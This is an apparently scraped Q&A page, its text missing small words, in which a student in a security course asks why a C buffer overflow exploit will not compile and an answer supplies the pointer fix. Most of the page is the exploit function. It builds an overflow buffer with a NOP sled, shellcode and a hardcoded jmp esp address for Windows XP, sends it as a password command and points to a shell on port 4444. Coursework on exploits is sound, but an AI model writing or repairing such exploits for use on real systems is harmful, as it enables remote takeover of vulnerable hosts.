buffer overflow - Assignment from Incompatible Pointer Type In C Script -


in course i'm taking, given broken buffer overflow script written in c, , have fix broken coding. i've patched few things far, receiving error message when trying compile (the error showed initial code, not edited):

 

646-fixed.c: in function ‘exploit’:

646-fixed.c:48: warning: assignment incompatible pointer type

 

below function error occurring. i'm not familiar c - responses received yesterday, understand happening due ptr's type being int, & evil's type being char. don't understand can fix - can this? can see full script here  

void exploit(int sock) {       file *test;       int *ptr;       char userbuf[] = "user madivan\r\n";       char evil[3001];       char buf[3012];       char receive[1024];       char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"                        "\x90\x90\x90\x90\x90\x90\x90\x90";       memset(buf, 0x00, 3012);       memset(evil, 0x00, 3001);       memset(evil, 0x43, 3000); 48    ptr = &evil;       ptr = ptr + 652; // 2608        memcpy(ptr, &nopsled, 16);       ptr = ptr + 4;       memcpy(ptr, &shellcode, 317);       *(long*)&evil[2600] = 0x7cb41010; // jmp esp xp 7cb41020 ffe4 jmp esp        // banner       recv(sock, receive, 200, 0);       printf("[+] %s", receive);       // user       printf("[+] sending username...\n");       send(sock, userbuf, strlen(userbuf), 0);       recv(sock, receive, 200, 0);       printf("[+] %s", receive);       // passwd       printf("[+] sending evil buffer...\n");       sprintf(buf, "pass %s\r\n", evil);       //test = fopen("test.txt", "w");       //fprintf(test, "%s", buf);       //fclose(test);       send(sock, buf, strlen(buf), 0);       printf("[*] done! connect host on port 4444...\n\n"); } 

note: posted yesterday providing few lines of code, , result, couldn't clear answer - deleted , reposting it.

the type of &evil pointer length 3001 array or char, or char (*)[3001]. type of ptr pointer int, or int*. types incompatible. can't assign 1 other.

what need pointer first element of evil. can use pointer char, i.e. char*, , assign evil it:

char *ptr; .... ptr = evil; 

here, evil decays pointer first element array, assignment works. equivalent assigning address of first element:

ptr = &evil[0]; 

Comments

Popular posts from this blog

PHP DOM loadHTML() method unusual warning -

python - How to create jsonb index using GIN on SQLAlchemy? -

c# - TransactionScope not rolling back although no complete() is called -